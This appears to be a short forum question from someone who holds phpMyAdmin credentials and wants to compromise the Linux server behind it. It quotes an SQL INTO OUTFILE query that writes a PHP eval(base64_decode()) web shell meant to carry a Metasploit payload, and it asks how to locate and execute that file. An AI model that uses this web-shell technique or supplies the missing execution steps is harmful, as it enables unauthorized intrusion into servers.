I got the username and the password for phpMyAdmin, and i am trying to hack the operating system "linux". i tried to create an payload.php file which is a pyaload taken form metasploit. i encoded the payload to base64 and executed this query in phpMyAdmin:
SELECT "<?php eval(base64_decode('payload encoded in base64')) ?>" INTO OUTFILE "payload.php";
it is executed successfully, but i do not know the path of the created file, and i do not know how to make it executed by the server